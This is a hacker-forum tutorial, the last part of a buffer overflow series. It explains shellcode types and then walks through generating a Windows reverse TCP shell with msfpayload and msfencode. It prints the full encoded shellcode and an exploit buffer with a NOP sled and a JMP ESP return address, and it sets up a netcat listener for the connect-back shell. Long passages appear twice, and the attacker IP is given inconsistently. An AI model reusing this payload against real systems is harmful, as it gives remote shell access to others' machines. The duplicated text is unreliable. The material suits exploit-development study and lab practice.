Hello GreenHackerz Reader............This is the last part of the series of "Buffer overflow exploitation"Here we talk about the shellcode.
So, Lets Start......
0X01 - What is Shellcode ? Explanation in brief ?
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance.
Types of shellcode
Shellcode can either be local or remote, depending on whether it gives an attacker control over the machine it runs on (local) or over another machine through a network (remote).
1. Local
Local shellcode is used by an attacker who has limited access to a machine but can exploit a vulnerability, for example a buffer overflow, in a higher-privileged process on that machine. If successfully executed, the shellcode will provide the attacker access to the machine with the same higher privileges as the targeted process.
2. Remote
Remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on a local network or intranet. If successfully executed, the shellcode can provide the attacker access to the target machine across the network. Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine. Such shellcode can be categorised based on how this connection is set up: if the shellcode can establish this connection, it is called a "reverse shell" or a connect-back shellcode because the shellcode connects back to the attacker's machine. On the other hand, if the attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which the attacker can connect to control it. A third type, much less common, is socket-reuse shellcode. This type of shellcode is sometimes used when an exploit establishes a connection to the vulnerable process that is not closed before the shellcode is run. The shellcode can then re-use this connection to communicate with the attacker. Socket re-using shellcode is harder to create because the shellcode needs to find out which connection to re-use and the machine may have many connections open.
A firewall can be used to detect the outgoing connections made by connect-back shellcodes and the attempt to accept incoming connections made by bindshells. They can therefore offer some protection against an attacker, even if the system is vulnerable, by preventing the attacker from gaining access to the shell created by the shellcode. This is one reason why socket re-using shellcode is sometimes used: because it does not create new connections and therefore is harder to detect and block
3. Download and execute
Download and execute is a type of remote shellcode that downloads and executes some form of malware on the target system. This type of shellcode does not spawn a shell, but rather instructs the machine to download a certain executable file off the network, save it to disk and execute it. Nowadays, it is commonly used in drive-by download attacks, where a victim visits a malicious webpage that in turn attempts to run such a download and execute shellcode in order to install software on the victim's machine. A variation of this type of shellcode downloads and loads a library. Advantages of this technique are that the code can be smaller, that it does not require the shellcode to spawn a new process on the target system, and that the shellcode does not need code to clean up the targeted process as this can be done by the library loaded into the process.
4. Staged
When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process's memory and executes it.
5. Egg-hunt
This is another form of staged shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it will end up. Small egg-hunt shellcode is injected into the process at a predictable location and executed. This code then searches the process's address space for the larger shellcode (the egg) and executes it.
6. Omelette
This type of shellcode is similar to egg-hunt shellcode, but looks for multiple small blocks of data (eggs) and recombines them into one larger block (the omelet) that is subsequently executed. This is used when an attacker can only inject a number of small blocks of data into the process.
Shellcode execution strategy
An exploit will commonly inject a shellcode into the target process before or at the same time as it exploits a vulnerability to gain control over the program counter. The program counter is adjusted to point to the shellcode, after which it gets executed and performs its task. Injecting the shellcode is often done by storing the shellcode in data sent over the network to the vulnerable process, by supplying it in a file that is read by the vulnerable process or through the command line or environment in the case of local exploits.
================================================
9. Generating the Shellcode
We will make use of msfpayload and msfencode to generate our shellcode. (If you want to create your own shellcode, you will need to know some C and assembly language, as well as how to use a linker and an assembler e.g. nasm. Again, that's another story.)
So, Lets Start......
0X01 - What is Shellcode ? Explanation in brief ?
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance.
Types of shellcode
Shellcode can either be local or remote, depending on whether it gives an attacker control over the machine it runs on (local) or over another machine through a network (remote).
1. Local
Local shellcode is used by an attacker who has limited access to a machine but can exploit a vulnerability, for example a buffer overflow, in a higher-privileged process on that machine. If successfully executed, the shellcode will provide the attacker access to the machine with the same higher privileges as the targeted process.
2. Remote
Remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on a local network or intranet. If successfully executed, the shellcode can provide the attacker access to the target machine across the network. Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine. Such shellcode can be categorised based on how this connection is set up: if the shellcode can establish this connection, it is called a "reverse shell" or a connect-back shellcode because the shellcode connects back to the attacker's machine. On the other hand, if the attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which the attacker can connect to control it. A third type, much less common, is socket-reuse shellcode. This type of shellcode is sometimes used when an exploit establishes a connection to the vulnerable process that is not closed before the shellcode is run. The shellcode can then re-use this connection to communicate with the attacker. Socket re-using shellcode is harder to create because the shellcode needs to find out which connection to re-use and the machine may have many connections open.
A firewall can be used to detect the outgoing connections made by connect-back shellcodes and the attempt to accept incoming connections made by bindshells. They can therefore offer some protection against an attacker, even if the system is vulnerable, by preventing the attacker from gaining access to the shell created by the shellcode. This is one reason why socket re-using shellcode is sometimes used: because it does not create new connections and therefore is harder to detect and block
3. Download and execute
Download and execute is a type of remote shellcode that downloads and executes some form of malware on the target system. This type of shellcode does not spawn a shell, but rather instructs the machine to download a certain executable file off the network, save it to disk and execute it. Nowadays, it is commonly used in drive-by download attacks, where a victim visits a malicious webpage that in turn attempts to run such a download and execute shellcode in order to install software on the victim's machine. A variation of this type of shellcode downloads and loads a library. Advantages of this technique are that the code can be smaller, that it does not require the shellcode to spawn a new process on the target system, and that the shellcode does not need code to clean up the targeted process as this can be done by the library loaded into the process.
4. Staged
When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process's memory and executes it.
5. Egg-hunt
This is another form of staged shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it will end up. Small egg-hunt shellcode is injected into the process at a predictable location and executed. This code then searches the process's address space for the larger shellcode (the egg) and executes it.
6. Omelette
This type of shellcode is similar to egg-hunt shellcode, but looks for multiple small blocks of data (eggs) and recombines them into one larger block (the omelet) that is subsequently executed. This is used when an attacker can only inject a number of small blocks of data into the process.
Shellcode execution strategy
An exploit will commonly inject a shellcode into the target process before or at the same time as it exploits a vulnerability to gain control over the program counter. The program counter is adjusted to point to the shellcode, after which it gets executed and performs its task. Injecting the shellcode is often done by storing the shellcode in data sent over the network to the vulnerable process, by supplying it in a file that is read by the vulnerable process or through the command line or environment in the case of local exploits.
================================================
9. Generating the Shellcode
We will make use of msfpayload and msfencode to generate our shellcode. (If you want to create your own shellcode, you will need to know some C and assembly language, as well as how to use a linker and an assembler e.g. nasm. Again, that's another story.)
Let's use a reverse shell as our payload. Use the command below to see a summary.
Code
# msfpayload windows/shell_reverse_tcp S
Code
# msfpayload windows/shell_reverse_tcp S
Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Version: 8642 Platform: Windows Arch: x86
Needs Admin: No Total size: 314
Rank: Normal
Basic options:Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique: seh, thread, none, processLHOST yes The listen addressLPORT 4444 yes The listen port
Description: Connect back to attacker and spawn a command shell
Needs Admin: No Total size: 314
Rank: Normal
Basic options:Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique: seh, thread, none, processLHOST yes The listen addressLPORT 4444 yes The listen port
Description: Connect back to attacker and spawn a command shell
Now fill in LHOST as 192.168.7 (use the ip of your attacking machine), generate the payload in raw format and pipe it into msfencode. Also tell msfencode not to use \x00, \x0a or \x0d during the encoding process, and to output the shellcode in C format. Note that the encoder may generate something slightly different each time it runs. Explore using EXITFUNC=thread etc if you want.
Code
# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.7 R | msfencode -b '\x00\x0a\x0d' -t c[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
unsigned char buf[] =\"\xbd\xd1\x13\xa8\xad\xd9\xee\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\"\"\x4f\x31\x6a\x14\x03\x6a\x14\x83\xc2\x04\x33\xe6\x54\x45\x3a\"\"\x09\xa5\x96\x5c\x83\x40\xa7\x4e\xf7\x01\x9a\x5e\x73\x47\x17\"\"\x15\xd1\x7c\xac\x5b\xfe\x73\x05\xd1\xd8\xba\x96\xd4\xe4\x11\"\"\x54\x77\x99\x6b\x89\x57\xa0\xa3\xdc\x96\xe5\xde\x2f\xca\xbe\"\"\x95\x82\xfa\xcb\xe8\x1e\xfb\x1b\x67\x1e\x83\x1e\xb8\xeb\x39\"\"\x20\xe9\x44\x36\x6a\x11\xee\x10\x4b\x20\x23\x43\xb7\x6b\x48\"\"\xb7\x43\x6a\x98\x86\xac\x5c\xe4\x44\x93\x50\xe9\x95\xd3\x57\"\"\x12\xe0\x2f\xa4\xaf\xf2\xeb\xd6\x6b\x77\xee\x71\xff\x2f\xca\"\"\x80\x2c\xa9\x99\x8f\x99\xbe\xc6\x93\x1c\x13\x7d\xaf\x95\x92\"\"\x52\x39\xed\xb0\x76\x61\xb5\xd9\x2f\xcf\x18\xe6\x30\xb7\xc5\"\"\x42\x3a\x5a\x11\xf4\x61\x33\xd6\xca\x99\xc3\x70\x5d\xe9\xf1\"\"\xdf\xf5\x65\xba\xa8\xd3\x72\xbd\x82\xa3\xed\x40\x2d\xd3\x24\"\"\x87\x79\x83\x5e\x2e\x02\x48\x9f\xcf\xd7\xde\xcf\x7f\x88\x9e\"\"\xbf\x3f\x78\x76\xaa\xcf\xa7\x66\xd5\x05\xde\xa1\x42\x66\x49\"\"\x2c\x94\x0e\x88\x2e\x8b\x92\x05\xc8\xc1\x3a\x40\x43\x7e\xa2\"\"\xc9\x1f\x1f\x2b\xc4\xb7\xbc\xbe\x83\x47\xca\xa2\x1b\x10\x9b\"\"\x15\x52\xf4\x31\x0f\xcc\xea\xcb\xc9\x37\xae\x17\x2a\xb9\x2f\"\"\xd5\x16\x9d\x3f\x23\x96\x99\x6b\xfb\xc1\x77\xc5\xbd\xbb\x39\"\"\xbf\x17\x17\x90\x57\xe1\x5b\x23\x21\xee\xb1\xd5\xcd\x5f\x6c\"\"\xa0\xf2\x50\xf8\x24\x8b\x8c\x98\xcb\x46\x15\xa8\x81\xca\x3c\"\"\x21\x4c\x9f\x7c\x2c\x6f\x4a\x42\x49\xec\x7e\x3b\xae\xec\x0b\"\"\x3e\xea\xaa\xe0\x32\x63\x5f\x06\xe0\x84\x4a\";
================================================
10. Putting it All Together
Replace the "evil" lines in exploit.py with the following:
Code
evil = \"\x90\" * 230 # In this case, not too important what you place here.evil += \"\xe1\xfa\xb8\x76\" # Replace this with the address JMP ESP you found earlier, in litte-endian orderevil += \"\x90\" * 48 # Place some NOPs in front of the shellcode. Impt that you place a small buffer here.evil += (\"\xbd\xd1\x13\xa8\xad\xd9\xee\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\"\"\x4f\x31\x6a\x14\x03\x6a\x14\x83\xc2\x04\x33\xe6\x54\x45\x3a\"\"\x09\xa5\x96\x5c\x83\x40\xa7\x4e\xf7\x01\x9a\x5e\x73\x47\x17\"\"\x15\xd1\x7c\xac\x5b\xfe\x73\x05\xd1\xd8\xba\x96\xd4\xe4\x11\"\"\x54\x77\x99\x6b\x89\x57\xa0\xa3\xdc\x96\xe5\xde\x2f\xca\xbe\"\"\x95\x82\xfa\xcb\xe8\x1e\xfb\x1b\x67\x1e\x83\x1e\xb8\xeb\x39\"\"\x20\xe9\x44\x36\x6a\x11\xee\x10\x4b\x20\x23\x43\xb7\x6b\x48\"\"\xb7\x43\x6a\x98\x86\xac\x5c\xe4\x44\x93\x50\xe9\x95\xd3\x57\"\"\x12\xe0\x2f\xa4\xaf\xf2\xeb\xd6\x6b\x77\xee\x71\xff\x2f\xca\"\"\x80\x2c\xa9\x99\x8f\x99\xbe\xc6\x93\x1c\x13\x7d\xaf\x95\x92\"\"\x52\x39\xed\xb0\x76\x61\xb5\xd9\x2f\xcf\x18\xe6\x30\xb7\xc5\"\"\x42\x3a\x5a\x11\xf4\x61\x33\xd6\xca\x99\xc3\x70\x5d\xe9\xf1\"\"\xdf\xf5\x65\xba\xa8\xd3\x72\xbd\x82\xa3\xed\x40\x2d\xd3\x24\"\"\x87\x79\x83\x5e\x2e\x02\x48\x9f\xcf\xd7\xde\xcf\x7f\x88\x9e\"\"\xbf\x3f\x78\x76\xaa\xcf\xa7\x66\xd5\x05\xde\xa1\x42\x66\x49\"\"\x2c\x94\x0e\x88\x2e\x8b\x92\x05\xc8\xc1\x3a\x40\x43\x7e\xa2\"\"\xc9\x1f\x1f\x2b\xc4\xb7\xbc\xbe\x83\x47\xca\xa2\x1b\x10\x9b\"\"\x15\x52\xf4\x31\x0f\xcc\xea\xcb\xc9\x37\xae\x17\x2a\xb9\x2f\"\"\xd5\x16\x9d\x3f\x23\x96\x99\x6b\xfb\xc1\x77\xc5\xbd\xbb\x39\"\"\xbf\x17\x17\x90\x57\xe1\x5b\x23\x21\xee\xb1\xd5\xcd\x5f\x6c\"\"\xa0\xf2\x50\xf8\x24\x8b\x8c\x98\xcb\x46\x15\xa8\x81\xca\x3c\"\"\x21\x4c\x9f\x7c\x2c\x6f\x4a\x42\x49\xec\x7e\x3b\xae\xec\x0b\"\"\x3e\xea\xaa\xe0\x32\x63\x5f\x06\xe0\x84\x4a\")evil += \"\x90\" * (1000 - len(evil))
Before you run the exploit.py again, open up another terminal and set up a netcat listener at port 4444:
Code
# nc -vlp4444
Now run exploit.py. You should be able to get a shell on your netcat listener.
That's it.
I hope you all learned & enjoyed the article on Buffer Overflow Exploitation.
espérons qu'il vous plaira.
Enjoy the article.
